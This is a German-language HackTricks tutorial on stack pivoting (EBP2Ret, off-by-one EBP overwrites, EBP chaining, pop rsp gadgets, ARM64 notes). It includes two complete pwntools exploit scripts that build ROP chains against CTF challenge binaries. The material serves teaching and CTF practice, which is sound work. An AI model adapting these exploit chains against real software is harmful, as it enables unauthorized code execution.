# Stack Pivoting - EBP2Ret - EBP chaining {{#include ../../banners/hacktricks-training.md}} ## Grundlegende Informationen Diese Technik nutzt die Fähigkeit, den **Basiszeiger (EBP)** zu manipulieren, um die Ausführung mehrerer Funktionen durch sorgfältige Verwendung des EBP-Registers und der **`leave; ret`** Instruktionssequenz zu verketten. Zur Erinnerung, **`leave`** bedeutet im Grunde: ``` mov ebp, esp pop ebp ret ``` Und da sich das **EBP im Stack** vor dem EIP befindet, ist es möglich, es zu kontrollieren, indem man den Stack kontrolliert. ### EBP2Ret Diese Technik ist besonders nützlich, wenn Sie **das EBP-Register ändern, aber keinen direkten Weg haben, das EIP-Register zu ändern**. Sie nutzt das Verhalten von Funktionen, wenn sie die Ausführung beenden. Wenn Sie während der Ausführung von `fvuln` ein **falsches EBP** in den Stack injizieren, das auf einen Bereich im Speicher zeigt, in dem sich die Adresse Ihres Shellcodes befindet (plus 4 Bytes für die `pop`-Operation), können Sie indirekt das EIP kontrollieren. Wenn `fvuln` zurückkehrt, wird der ESP auf diesen gestalteten Ort gesetzt, und die nachfolgende `pop`-Operation verringert den ESP um 4, **was effektiv bedeutet, dass er auf eine Adresse zeigt, die dort vom Angreifer gespeichert wurde.**\ Beachten Sie, dass Sie **2 Adressen kennen müssen**: Die, zu der der ESP gehen wird, und die, zu der Sie die Adresse schreiben müssen, auf die der ESP zeigt. #### Exploit-Konstruktion Zuerst müssen Sie eine **Adresse kennen, an die Sie beliebige Daten / Adressen schreiben können**. Der ESP wird hierhin zeigen und **die erste `ret`** ausführen. Dann müssen Sie die Adresse kennen, die von `ret` verwendet wird, um **beliebigen Code auszuführen**. Sie könnten verwenden: - Eine gültige [**ONE_GADGET**](https://github.com/david942j/one_gadget) Adresse. - Die Adresse von **`system()`** gefolgt von **4 Junk-Bytes** und der Adresse von `"/bin/sh"` (x86-Bits). - Die Adresse eines **`jump esp;`** Gadgets ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) gefolgt vom **Shellcode**, der ausgeführt werden soll. - Eine [**ROP**](../rop-return-oriented-programing/index.html) Kette Denken Sie daran, dass vor einer dieser Adressen im kontrollierten Teil des Speichers **`4` Bytes** vorhanden sein müssen, wegen des **`pop`**-Teils der `leave`-Anweisung. Es wäre möglich, diese 4B auszunutzen, um ein **zweites falsches EBP** zu setzen und die Ausführung weiterhin zu kontrollieren. #### Off-By-One Exploit Es gibt eine spezifische Variante dieser Technik, die als "Off-By-One Exploit" bekannt ist. Sie wird verwendet, wenn Sie **nur das am wenigsten signifikante Byte des EBP** ändern können. In einem solchen Fall muss der Speicherort, der die Adresse speichert, zu der mit dem **`ret`** gesprungen werden soll, die ersten drei Bytes mit dem EBP teilen, was eine ähnliche Manipulation unter restriktiveren Bedingungen ermöglicht.\ In der Regel wird das Byte 0x00 geändert, um so weit wie möglich zu springen. Es ist auch üblich, einen RET-Sled im Stack zu verwenden und die echte ROP-Kette am Ende zu platzieren, um die Wahrscheinlichkeit zu erhöhen, dass der neue ESP innerhalb des RET-SLED zeigt und die endgültige ROP-Kette ausgeführt wird. ### **EBP Chaining** Daher ist es möglich, eine kontrollierte Adresse in den `EBP`-Eintrag des Stacks zu setzen und eine Adresse zu `leave; ret` in `EIP`, um **den `ESP` zur kontrollierten `EBP`-Adresse aus dem Stack zu bewegen**. Jetzt wird der **`ESP`** kontrolliert und zeigt auf eine gewünschte Adresse, und die nächste auszuführende Anweisung ist ein `RET`. Um dies auszunutzen, ist es möglich, an der kontrollierten ESP-Stelle Folgendes zu platzieren: - **`&(nächstes falsches EBP)`** -> Lädt das neue EBP wegen `pop ebp` aus der `leave`-Anweisung - **`system()`** -> Aufgerufen von `ret` - **`&(leave;ret)`** -> Aufgerufen, nachdem system endet, wird es den ESP zum falschen EBP bewegen und erneut starten - **`&("/bin/sh")`**-> Parameter für `system` Grundsätzlich ist es auf diese Weise möglich, mehrere falsche EBPs zu verketten, um den Fluss des Programms zu kontrollieren. Dies ist wie ein [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), aber komplexer ohne offensichtlichen Vorteil, könnte aber in einigen Randfällen interessant sein. Darüber hinaus haben Sie hier ein [**Beispiel für eine Herausforderung**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), die diese Technik mit einem **Stack-Leak** verwendet, um eine gewinnende Funktion aufzurufen. Dies ist die endgültige Payload von der Seite: ```python from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) log.success(f'Buffer: {hex(buffer)}') LEAVE_RET = 0x40117c POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 payload = flat( 0x0, # rbp (could be the address of anoter fake RBP) POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, elf.sym['winner'] ) payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) payload += flat( buffer, # Load leak address in RBP LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it ) pause() p.sendline(payload) print(p.recvline()) ``` ## EBP könnte nicht verwendet werden Wie [**in diesem Beitrag erklärt**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), wenn ein Binary mit einigen Optimierungen kompiliert wird, hat **EBP niemals Kontrolle über ESP**, daher wird jeder Exploit, der durch Kontrolle von EBP funktioniert, im Grunde scheitern, weil er keinen echten Effekt hat.\ Das liegt daran, dass sich die **Prolog- und Epilog-Änderungen** ändern, wenn das Binary optimiert ist. - **Nicht optimiert:** ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp sub $0x100,%esp # increase stack size . . . leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` - **Optimiert:** ```bash push %ebx # save ebx sub $0x100,%esp # increase stack size . . . add $0x10c,%esp # reduce stack size pop %ebx # restore ebx ret # return ``` ## Andere Möglichkeiten, RSP zu steuern ### **`pop rsp`** Gadget [**Auf dieser Seite**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) finden Sie ein Beispiel, das diese Technik verwendet. Für diese Herausforderung war es notwendig, eine Funktion mit 2 spezifischen Argumenten aufzurufen, und es gab ein **`pop rsp` Gadget** und es gibt einen **leak vom Stack**: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user log.success(f'Buffer: {hex(buffer)}') POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 # pop RSI and R15 # The payload starts payload = flat( 0, # r13 0, # r14 0, # r15 POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, # r15 elf.sym['winner'] ) payload = payload.ljust(104, b'A') # pad to 104 # Start popping RSP, this moves the stack to the leaked address and # continues the ROP chain in the prepared payload payload += flat( POP_CHAIN, buffer # rsp ) pause() p.sendline(payload) print(p.recvline()) ``` ### xchg \, rsp Gadget ``` pop <=== return pointer xchg , rsp ``` ### jmp esp Überprüfen Sie die ret2esp-Technik hier: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} ## Referenzen & Weitere Beispiele - [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) - [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - 64 Bit, Off-by-One-Exploitation mit einer ROP-Kette, die mit einem Ret-Sled beginnt - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) - 64 Bit, kein RELRO, Canary, NX und PIE. Das Programm gewährt einen Leak für Stack oder PIE und ein WWW eines Qword. Zuerst den Stack-Leak erhalten und das WWW verwenden, um zurückzugehen und den PIE-Leak zu erhalten. Dann das WWW verwenden, um eine ewige Schleife zu erstellen, die `.fini_array`-Einträge missbraucht + `__libc_csu_fini` aufruft ([mehr Informationen hier](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Durch den Missbrauch dieses "ewigen" Schreibens wird eine ROP-Kette im .bss geschrieben und endet damit, dass sie mit RBP pivotiert wird. ## ARM64 In ARM64 speichern und rufen die **Prologe und Epiloge** der Funktionen **das SP-Register nicht im Stack** ab. Darüber hinaus gibt die **`RET`**-Anweisung nicht an die Adresse zurück, die von SP gezeigt wird, sondern **an die Adresse in `x30`**. Daher können Sie standardmäßig, nur durch den Missbrauch des Epilogs, **das SP-Register nicht kontrollieren**, indem Sie einige Daten im Stack überschreiben. Und selbst wenn Sie es schaffen, das SP zu kontrollieren, müssten Sie immer noch einen Weg finden, um **das `x30`**-Register zu kontrollieren. - Prolog ```armasm sub sp, sp, 16 stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 mov x29, sp // FP zeigt auf den Frame-Record ``` - Epilog ```armasm ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] add sp, sp, 16 ret ``` > [!CAUTION] > Der Weg, um etwas Ähnliches wie Stack-Pivoting in ARM64 durchzuführen, wäre, in der Lage zu sein, **das `SP`** zu kontrollieren (indem man ein Register kontrolliert, dessen Wert an `SP` übergeben wird, oder weil aus irgendeinem Grund `SP` seine Adresse vom Stack bezieht und wir einen Overflow haben) und dann **den Epilog zu missbrauchen**, um das **`x30`**-Register von einem **kontrollierten `SP`** zu laden und **dann `RET`** darauf auszuführen. Auch auf der folgenden Seite können Sie das Äquivalent von **Ret2esp in ARM64** sehen: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} {{#include ../../banners/hacktricks-training.md}}